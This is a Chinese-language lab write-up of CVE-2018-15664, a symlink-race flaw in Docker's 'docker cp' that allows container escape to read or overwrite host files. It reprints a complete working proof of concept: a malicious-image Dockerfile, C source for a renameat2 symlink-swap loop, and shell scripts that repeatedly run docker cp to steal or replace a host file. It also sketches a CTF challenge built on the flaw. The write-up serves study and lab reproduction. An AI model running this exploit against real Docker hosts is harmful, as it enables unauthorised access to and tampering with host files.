CVE-2018-15664:符号链接替换漏洞

前置知识

docker cp用于容器和宿主机文件系统之间进行文件或目录复制

//将主机/www/xxx文件拷贝到容器96f7f14e99ab的/www目录下(若是/www,则是拷贝到容器根目录下,重命名为www)
docker cp /www/xxx 96f7f14e99ab:/www/

//将容器96f7f14e99ab下的/www目录拷贝到主机的/tmp目录中
docker cp  96f7f14e99ab:/www /tmp/

漏洞介绍

存在:18.06.1-ce-rc2版本之前的Docker中

docker cp命令对应的后端API存在基于竞争条件的符号链接替换漏洞,能够导致目录穿越。

可以利用此漏洞逃逸出容器读取或篡改host其他任意容器内的文件。

其实是一个TOCTOU(time-of-check to time-of-use),使用FollowSymlinkInScope函数时触发文件系统的竞争条件缺陷导致,属于竞态条件漏洞

  • 竞态条件漏洞,即程序对某对象进行安全检查和使用该对象的步骤之间存在间隙,攻击者可以先构造并放置一个能够通过安全检查的合法对象,顺利通过目标程序的安全检查流程,然后在执行之前立即使用恶意对象替换之前的合法对象。

  • FollowSymlinkInScope作用:解析容器运行中运行进程的文件路径。攻击者就利用解析校验完成之后和操作执行间的空隙,修改cp文件,改为一个符号链接对应的目标文件

    • Docker daemon收到docker cp的请求,会对复制的路径进行检查,如果路径中有容器内的符号链接,就先在容器内部将其解析成路径字符串,留待后用
  • 真实过程:Docker daemon检查复制路径时,攻击者放置正常的非符号连接的常规文件或目录,在检查结束之后、docker daemon使用路径前,将其替换成符号连接

  • 利用条件:

    • hacker需要有docker cp的使用权限和目标容器的访问权限
    • 解析文件,到完成cp的动作,是毫秒级,攻击难度较大

搭建环境

使用Metarget提供的靶场环境

35  git clone https://github.com/Metarget/metarget.git
38  cd metarget/
55  apt install python3-pip
57  pip3 install docker
58  ./metarget cnv install cve-2018-15664
59  pip3 install tqdm
60  ./metarget cnv install cve-2018-15664
61  pip3 install packaging
62  ./metarget cnv install cve-2018-156
63  pip3 install bs4
64  ./metarget cnv install cve-2018-156
65  pip3 install prettytable
66  ./metarget cnv install cve-2018-156
67  apt install curl
68  ./metarget cnv install cve-2018-156

请添加图片描述

请添加图片描述

poc:

https://github.com/Metarget/cloud-native-security-book/tree/main/code/0302-%E5%BC%80%E5%8F%91%E4%BE%A7%E6%94%BB%E5%87%BB/02-CVE-2018-15664/symlink_race

请添加图片描述

Dockerfile

用来制作恶意镜像

构建漏洞利用程序symlink_swap并将其放在容器根目录下,并在根目录下创建一个w00t_w00t_im_a_flag文件,内容为FAILED – INSIDE CONTAINER PATH

容器启动后执行程序(Entrypoint)即为/symlink_swap

# Build the binary.
## 拉取suse linux的基础镜像
FROM opensuse/leap
## 安装gcc glibc-devel-static
RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
## 构建漏洞利用程序symlink_swap,并将其放在容器根目录下
COPY symlink_swap.c /builddir/symlink_swap.c
RUN gcc -Wall -Werror -static -o /builddir/symlink_swap /builddir/symlink_swap.c

# Set up our malicious rootfs.
FROM opensuse/leap
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
# 容器启动后执行的程序(Entrypoint)即为/symlink_swap
ENTRYPOINT ["/symlink_swap"]
知识点:
多阶段构建

多个FROM指令不是为了生成多根的层关系,最后生成的镜像,仍以最后一条FROM为准,之前的被抛弃。

每个FROM指令都是一个构建阶段,多条FROM就是多阶段构建。虽然之前的FROM会被抛弃,但是前置阶段的文件拷贝到后边的阶段中,这就是多阶段构建的最大意义。

这里做到的效果就是将编译环境和运行环境分离

构建阶段还可以进行命名,如:

# syntax=docker/dockerfile:1
FROM golang:1.16 AS builder
WORKDIR /go/src/github.com/alexellis/href-counter/
RUN go get -d -v golang.org/x/net/html  
COPY app.go    ./
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

FROM alpine:latest  
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY --from=builder /go/src/github.com/alexellis/href-counter/app ./
CMD ["./app"]  

默认情况下,阶段没有命名,可以通过整数来引用他们,整数从0开始。

这种请下,即使dockerfile中的指令后面重新排序,COPY也不会中断

ARG vs ENV
  • arg是在build的时候存在,可以在Dockerfile中当作变量来使用(ARG专门为构建镜像而生)
  • env是容器构建好之后的环境变量,不能在Dockerfile中当参数使用
symlink_swap

容器内漏洞利用源代码

在容器内创建指向根目录“/”的符号链接,并不断的交换符号链接(由命令行参数传入,如“/totally_safe_path”)与一个正常目录(例如“/totally_safe_path-stashed”)的名字。这样一来,宿主机执行docker cp时,首先检查到“/totally_safe_path”是一个正常目录,但是后面执行复制操作时“/totally_safe_path”却变成了一个符号链接,那么Docker将在宿主机上解析这个符号链接

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>

#define usage() \
        do { printf("usage: symlink_swap <symlink>\n"); exit(1); } while(0)

#define bail(msg) \
        do { perror("symlink_swap: " msg); exit(1); } while (0)

/* No glibc wrapper for this, so wrap it ourselves. */
#define RENAME_EXCHANGE (1 << 1)
int renameat2(int olddirfd, const char *oldpath,
              int newdirfd, const char *newpath, int flags)
{
        return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}

/* usage: symlink_swap <symlink> */
int main(int argc, char **argv)
{
        if (argc != 2)
                usage();

        char *symlink_path = argv[1];
        char *stash_path = NULL;
        if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)
                bail("create stash_path");

        /* Create a dummy file at symlink_path. */
        struct stat sb = {0};
        if (!lstat(symlink_path, &sb)) {
                int err;
                if (sb.st_mode & S_IFDIR)
                        err = rmdir(symlink_path);
                else
                        err = unlink(symlink_path);
                if (err < 0)
                        bail("unlink symlink_path");
        }

        /*
         * Now create a symlink to "/" (which will resolve to the host's root if we
         * win the race) and a dummy directory at stash_path for us to swap with.
         * We use a directory to remove the possibility of ENOTDIR which reduces
         * the chance of us winning.
         */
        if (symlink("/", symlink_path) < 0)
                bail("create symlink_path");
        if (mkdir(stash_path, 0755) < 0)
                bail("mkdir stash_path");

        /* Now we do a RENAME_EXCHANGE forever. */
        for (;;) {
                int err = renameat2(AT_FDCWD, symlink_path,
                                AT_FDCWD, stash_path, RENAME_EXCHANGE);
                if (err < 0)
                        perror("symlink_swap: rename exchange failed");
        }
        return 0;
}                                  

属于竞态条件漏洞,不是每次都能复现,为了增大触发几率,需要在宿主机上不断执行docker cp命令

run_read.sh和run_write.sh模拟受害者在宿主机上不断执行docker cp命令

run_write.sh

宿主机cp到容器内的场景,触发漏洞,指定的宿主机文件将覆盖容器内恶意符号链接在宿主机文件系统解析后指向的文件

#!/bin/bash

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
        --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
        --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

echo "SUCCESS -- HOST FILE CHANGED" | tee localpath

# Now continually try to copy the files.
while true
do
        docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done
run_read.sh

模拟docker cp将容器内文件复制到宿主机上场景,一旦触发,容器内恶意符号链接在宿主机文件系统解析后指向的文件将被复制到受害者设定的宿主机目录下

#!/bin/bash

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
        --build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
        --build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

# Now continually try to copy the files.
idx=0
while true
do
        mkdir "ex${idx}"
        docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
        idx=$(($idx + 1))
done

实验成功:

请添加图片描述

出题:

思路:给出含有漏洞的容器,然后将flag写在宿主机上,从容器中读取写在宿主机上某个文件中的flay值

参考文献:

云原生安全:攻防实践与体系构建

CVE-2018-15664漏洞分析报告-阿里云开发者社区 (aliyun.com)

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐